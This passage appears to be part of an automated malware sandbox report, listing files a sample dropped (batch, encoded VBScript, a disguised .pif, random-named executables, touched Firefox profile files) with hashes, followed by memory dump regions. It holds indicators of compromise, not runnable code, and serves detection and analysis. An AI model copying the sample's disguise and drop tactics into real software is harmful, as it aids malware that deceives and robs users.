9656e3c51eb43af1264a080c76fa6c87f01950489adda30532b9cd317eb0b54c

SHA512
a172d81d867568d56e9146ebb7bbec6f08ab93f1414045e6c2aafcf72f45dedc20757d930d6e60f1c7dacab30a528c05422eb21d607e93f0760db9e1c8fb1268

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\keyc.txt

Filesize
73B

MD5
eb8dcca05511340680dc263b18f19a49

SHA1
244ede0e621efafa5420f6a5d8cfd06ab5fa7cbc

SHA256
29dcb31597dd1f5ddc30fc5b9c9db673a476296edc2a93acac075561c84de404

SHA512
213450be3fefed6b28c61cba649c607a18d14dfe780882d3f80c045a4e1bb0763afedca8079601a5cd829cf0aef631b81b2614a357af0f2b925e7c0c92212b9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\M5cHE2XyDI.bat

Filesize
162B

MD5
85b5c77d763403115810ef182a09a42d

SHA1
9a0ec3034d4406d240a64fa3163a1958971f0e95

SHA256
3595b9a9b5f6e71f581577642a96633264c6287ecfe2a3d54fd8307686b7181e

SHA512
5156c06b4704014fc0fbfbc8a139b08fa89683f01fc115af0767ffe1f6c94830e6d10ce6ecb04feada3dbea62cb5c43854e54b830f906072e681a10cff190399

Download Submit
C:\Users\Admin\AppData\Local\Temp\System.{BB06C0E4-D293-4f75-8A90-CB05B6477EEE}\Security Protection Windows.pif

Filesize
1.3MB

MD5
08cff083585794c9ce26585faa7c8df4

SHA1
c9aed53641e8f36e9a590af5c62ba434f9d4203a

SHA256
9d61713812b8af616f33f88f5fb8ba98bbdef9ab5e33229d402a4ba4e6974e97

SHA512
f76cbd115ebec6b00fe04bc2029d33552bfda7d4f909543e37787804f2279cc3f8f5234215192c1a74102a772a9806a0fccc7a05b4e1aeec7ddacd7c084c85ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rh5hmnsz.1pw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\pack82.vbe

Filesize
1.0MB

MD5
862c18d9ae0274490abff6a542b8a3e9

SHA1
591e2c15f429355ad90c18aa70845342f3b6447d

SHA256
7138a648e83aaa97eb31b98c9bfc4e9ccacde6d192e4f9b517572fe11335a724

SHA512
9e5c1aa5fb6a6c0947bcba2a74e3c0d8691a4309c99bfba83928eebc44468af5b4b279f538516d9ed5d55a60feb630bb1356946adaec6981a170a4cb3b1a1f2c

Download Submit
C:\Users\Admin\AppData\Roaming\1FzvmKAYy9.exe

Filesize
526KB

MD5
8ff8554b369f49ab17c0c588dccc7c41

SHA1
701061a9a9ed8674587bfc51d8bcbf9ebf893c1b

SHA256
ac0655d5bccf2669297a08564c1c98f428bbda7e5a4d7bb5215fef06b23e9881

SHA512
8380c30f664b4c28334db1d315dbb62ef4bdc6a190c29d0f79eb2e2baed5bc8f5c3ff0c5ea3421026b97c58dd53144e684d124118edba456d11e1368b54b036a

Download Submit
C:\Users\Admin\AppData\Roaming\I4LJuVm5zF.exe

Filesize
18KB

MD5
f3edff85de5fd002692d54a04bcb1c09

SHA1
4c844c5b0ee7cb230c9c28290d079143e00cb216

SHA256
caf29650446db3842e1c1e8e5e1bafadaf90fc82c5c37b9e2c75a089b7476131

SHA512
531d920e2567f58e8169afc786637c1a0f7b9b5c27b27b5f0eddbfc3e00cecd7bea597e34061d836647c5f8c7757f2fe02952a9793344e21b39ddd4bf7985f9d

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\56i567ym.default-release\AlternateServices.bin

Filesize
15KB

MD5
cd8ab033f2c9405e14398b2cf975bc40

SHA1
b5f8f0a2e3fa030d8d8b11ee0ca7d0db24b47fec

SHA256
e61dd27b1136a3f315a8e3dd21966d4b9ed3973e6626e0d73b71f2a88ec68b08

SHA512
b79da50367db995fa8891ba761ad5d7d8d0bc60eed4de93492a459762a36103f65f27e69c6af74adb52df7df6a29dc6922fc6b4a06c79baf07f1822234d30f47

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\56i567ym.default-release\datareporting\glean\pending_pings\c1edc0bc-73ef-493c-8b6f-dae7520ef895

Filesize
671B

MD5
743acd74d944358f32c0072a60bfa51a

SHA1
3a9998d7df9e63720aec385427af9b71a6ee62ec

SHA256
55a912182a85d1934aecacc614c3ef9d332779119588f0a7e3e718790878ae05

SHA512
5d100ef7cbcfe0db12a25c428732e482fc3fe262e9e3c29d194eff609e09191b3e6f3ddaf99a3919ec2003e4fd5c6cecb974a37859e15b87252fe0d00a8e9e0f

Download Submit
memory/464-75-0x0000000000C30000-0x0000000000C95000-memory.dmp

Filesize
404KB

Download
memory/932-474-0x0000000000400000-0x00000000004BC000-memory.dmp

Filesize
752KB

Download
memory/932-495-0x0000000000400000-0x00000000004BC000-memory.dmp

Filesize
752KB

Download
memory/932-471-0x0000000000400000-0x00000000004BC000-memory.dmp

Filesize
752KB

Download
memory/932-473-0x0000000000400000-0x00000000004BC000-memory.dmp

Filesize
752KB

Download
memory/1220-416-0x00000000000D0000-0x0000000000D09000-memory.dmp

Filesize
12.2MB

Download
memory/1220-406-0x00000000000D0000-0x0000000000D09000-memory.dmp

Filesize
12.2MB

Download
memory/1220-410-0x00000000000D0000-0x0000000000D09000-memory.dmp

Filesize
12.2MB

Download
memory/1220-409-0x00000000000D0000-0x0000000000D09000-memory.dmp

Filesize
12.2MB

Download
memory/1340-72-0x0000000000860000-0x0000000000EEF000-memory.dmp

Filesize
6.6MB

Download
memory/1340-73-0x0000000000860000-0x0000000000EEF000-memory.dmp

Filesize
6.6MB

Download
memory/1340-49-0x0000000000860000-0x0000000000EEF000-memory.dmp

Filesize
6.6MB

Download
memory/1340-94-0x0000000000860000-0x0000000000EEF000-memory.dmp

Filesize
6.6MB

Download
memory/1492-53-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/1492-52-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/1840-408-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/1840-514-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/1840-428-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/1840-37-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/1840-591-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/1840-102-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/1840-71-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/1840-273-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/1840-167-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/1840-368-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/1840-30-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/1840-41-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/1840-387-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/1840-557-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/1948-289-0x0000000006F60000-0x0000000006FA2000-memory.dmp

Filesize
264KB

Download
memory/1948-295-0x0000000006FB0000-0x0000000006FD6000-memory.dmp

Filesize
152KB

Download
memory/1948-299-0x0000000007080000-0x000000000708A000-memory.dmp

Filesize
40KB

Download
memory/1948-300-0x0000000008510000-0x000000000869C000-memory.dmp

Filesize
1.5MB

Download
memory/1948-274-0x0000000005A10000-0x0000000005FB6000-memory.dmp

Filesize
5.6MB

Download
memory/1948-275-0x0000000005380000-0x0000000005412000-memory.dmp

Filesize
584KB

Download
memory/1948-271-0x0000000005200000-0x000000000529C000-memory.dmp

Filesize
624KB

Download
memory/1948-270-0x0000000000810000-0x00000000008CC000-memory.dmp

Filesize
752KB

Download
memory/2140-155-0x00000131990D0000-0x00000131990E0000-memory.dmp

Filesize
64KB

Download
memory/2140-145-0x00000131B1340000-0x00000131B13C6000-memory.dmp

Filesize
536KB

Download
memory/2140-154-0x00000131990F0000-0x0000013199112000-memory.dmp

Filesize
136KB

Download
memory/2140-156-0x00000131B14E0000-0x00000131B15E4000-memory.dmp

Filesize
1.0MB

Download
memory/2140-157-0x00000131B13F0000-0x00000131B140E000-memory.dmp

Filesize
120KB

Download
memory/2852-455-0x00000000081C0000-0x00000000081DA000-memory.dmp

Filesize
104KB

Download
memory/2852-456-0x0000000007530000-0x0000000007536000-memory.dmp

Filesize
24KB

Download
memory/2964-251-0x00000000006D0000-0x0000000000B76000-memory.dmp

Filesize
4.6MB

Download
memory/2964-138-0x00000000006D0000-0x0000000000B76000-memory.dmp

Filesize
4.6MB

Download
memory/2964-537-0x00000000006D0000-0x0000000000B76000-memory.dmp

Filesize
4.6MB

Download
memory/3012-43-0x0000000000C20000-0x0000000000F31000-memory.dmp

Filesize
3.1MB

Download
memory/3012-35-0x0000000000C20000-0x0000000000F31000-memory.dmp

Filesize
3.1MB

Download
memory/3016-532-0x0000000000C40000-0x0000000000EDC000-memory.dmp

Filesize
2.6MB

Download
memory/3016-528-0x0000000000C40000-0x0000000000EDC000-memory.dmp

Filesize
2.6MB

Download
memory/3056-317-0x0000000000400000-0x00000000004BC000-memory.dmp

Filesize
752KB

Download
memory/3056-319-0x0000000000400000-0x00000000004BC000-memory.dmp

Filesize
752KB

Download
memory/3056-322-0x0000000000400000-0x00000000004BC000-memory.dmp

Filesize
752KB

Download
memory/3056-344-0x0000000000400000-0x00000000004BC000-memory.dmp

Filesize
752KB

Download
memory/3056-321-0x0000000000400000-0x00000000004BC000-memory.dmp

Filesize
752KB

Download
memory/3368-110-0x0000000000400000-0x0000000000463000-memory.dmp

Filesize
396KB

Download
memory/3368-112-0x0000000000400000-0x0000000000463000-memory.dmp

Filesize
396KB

Download
memory/3456-398-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/3540-208-0x0000000007830000-0x000000000784A000-memory.dmp

Filesize
104KB

Download
memory/3540-187-0x00000000030C0000-0x00000000030F6000-memory.dmp

Filesize
216KB

Download
memory/3540-204-0x0000000006620000-0x0000000006724000-memory.dmp

Filesize
1.0MB

Download
memory/3540-202-0x0000000006040000-0x0000000006050000-memory.dmp

Filesize
64KB

Download
memory/3540-287-0x0000000007BF0000-0x0000000007C12000-memory.dmp

Filesize
136KB

Download
memory/3540-286-0x0000000007C40000-0x0000000007CD6000-memory.dmp

Filesize
600KB

Download
memory/3540-207-0x00000000080A0000-0x000000000871A000-memory.dmp

Filesize
6.5MB

Download
memory/3540-205-0x0000000006750000-0x000000000676E000-memory.dmp

Filesize
120KB

Download
memory/3540-206-0x0000000006790000-0x00000000067DC000-memory.dmp

Filesize
304KB

Download
memory/3540-201-0x00000000061B0000-0x0000000006507000-memory.dmp

Filesize
3.3MB

Download
memory/3540-192-0x0000000006140000-0x00000000061A6000-memory.dmp

Filesize
408KB

Download
memory/3540-191-0x0000000006060000-0x00000000060C6000-memory.dmp

Filesize
408KB

Download
memory/3540-190-0x00000000055D0000-0x00000000055F2000-memory.dmp

Filesize
136KB

Download
memory/3540-189-0x0000000005600000-0x0000000005686000-memory.dmp

Filesize
536KB

Download
memory/3540-188-0x0000000005780000-0x0000000005DAA000-memory.dmp

Filesize
6.2MB

Download
memory/3616-16-0x0000000000A41000-0x0000000000A6F000-memory.dmp

Filesize
184KB

Download
memory/3616-14-0x0000000000A40000-0x0000000000EFF000-memory.dmp

Filesize
4.7MB

Download
memory/3616-17-0x0000000000A40000-0x0000000000EFF000-memory.dmp

Filesize
4.7MB

Download
memory/3616-32-0x0000000000A40000-0x0000000000EFF000-memory.dmp

Filesize
4.7MB

Download
memory/3616-19-0x0000000000A40000-0x0000000000EFF000-memory.dmp

Filesize
4.7MB

Download
memory/3616-15-0x0000000077536000-0x0000000077538000-memory.dmp

Filesize
8KB

Download
memory/3628-50-0x0000000000BA0000-0x000000000105F000-memory.dmp

Filesize
4.7MB

Download
memory/3628-44-0x0000000000BA0000-0x000000000105F000-memory.dmp

Filesize
4.7MB

Download
memory/4004-381-0x00000000001B0000-0x000000000066F000-memory.dmp

Filesize
4.7MB

Download
memory/4004-377-0x00000000001B0000-0x000000000066F000-memory.dmp

Filesize
4.7MB

Download
memory/4080-131-0x0000000000950000-0x0000000000BEC000-memory.dmp

Filesize
2.6MB

Download
memory/4080-127-0x0000000000950000-0x0000000000BEC000-memory.dmp

Filesize
2.6MB

Download
memory/4672-296-0x0000000000190000-0x000000000064F000-memory.dmp

Filesize
4.7MB

Download
memory/4672-301-0x0000000000190000-0x000000000064F000-memory.dmp

Filesize
4.7MB

Download
memory/4780-113-0x0000000000260000-0x00000000006FC000-memory.dmp

Filesize
4.6MB

Download
memory/4780-93-0x0000000000260000-0x00000000006FC000-memory.dmp

Filesize
4.6MB

Download
memory/4828-415-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/4828-413-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/4828-424-0x0000000010000000-0x000000001001C000-memory.dmp

Filesize
112KB

Download
memory/4828-411-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/4912-348-0x0000000000430000-0x00000000004BA000-memory.dmp

Filesize
552KB

Download
memory/4912-350-0x00000000025A0000-0x00000000025AE000-memory.dmp

Filesize
56KB

Download
memory/4916-449-0x0000000000400000-0x0000000000464000-memory.dmp

Filesize
400KB

Download
memory/4916-453-0x0000000000400000-0x0000000000464000-memory.dmp

Filesize
400KB

Download
memory/5040-446-0x0000000000E00000-0x0000000000E64000-memory.dmp

Filesize
400KB

Download
memory/6496-590-0x00000000006E0000-0x0000000000B86000-memory.dmp

Filesize
4.6MB

Download
memory/6496-554-0x00000000006E0000-0x0000000000B86000-memory.dmp

Filesize
4.6MB

Download
memory/41376-618-0x000001ED707C0000-0x000001ED707CA000-memory.dmp

Filesize
40KB

Download
memory/41376-617-0x000001ED70800000-0x000001ED70812000-memory.dmp

Filesize
72KB

Download
memory/41376-614-0x000001ED707E0000-0x000001ED707F6000-memory.dmp

Filesize
88KB

Download
memory/41376-626-0x000001ED709E0000-0x000001ED70B2F000-memory.dmp

Filesize
1.3MB

Download
memory/42388-788-0x0000000000220000-0x00000000006D4000-memory.dmp

Filesize
4.7MB

Download
memory/42388-622-0x0000000000220000-0x00000000006D4000-memory.dmp

Filesize
4.7MB

Download
memory/42996-627-0x0000000000E30000-0x0000000000E6C000-memory.dmp

Filesize
240KB

Download
memory/42996-628-0x0000000005710000-0x0000000005722000-memory.dmp

Filesize
72KB

Download
memory/42996-629-0x0000000005900000-0x0000000005AC2000-memory.dmp

Filesize
1.8MB

Download
memory/42996-630-0x00000000069C0000-0x0000000006EEC000-memory.dmp

Filesize
5.2MB

Download
memory/48880-969-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/52304-804-0x0000000000A90000-0x0000000000F2B000-memory.dmp

Filesize
4.6MB

Download
memory/52304-779-0x0000000000A90000-0x0000000000F2B000-memory.dmp

Filesize
4.6MB

Download
memory/58840-807-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/58840-805-0x0000000000A60000-0x0000000000F1F000-memory.dmp

Filesize
4.7MB

Download
memory/98176-929-0x0000000000ED0000-0x0000000000F30000-memory.dmp

Filesize
384KB

Download
memory/100132-972-0x0000000000E70000-0x000000000130C000-memory.dmp

Filesize
4.6MB

Download
memory/100132-966-0x0000000000E70000-0x000000000130C000-memory.dmp

Filesize
4.6MB

Download
memory/107148-1066-0x0000000000E30000-0x0000000001141000-memory.dmp

Filesize
3.1MB

Download
memory/107148-1093-0x0000000000E30000-0x0000000001141000-memory.dmp

Filesize
3.1MB

Download
memory/107148-988-0x0000000000E30000-0x0000000001141000-memory.dmp

Filesize
3.1MB

Download
memory/116000-1155-0x0000000000560000-0x00000000009AA000-memory.dmp

Filesize
4.3MB

Download
memory/116000-1156-0x0000000000560000-0x00000000009AA000-memory.dmp

Filesize
4.3MB

Download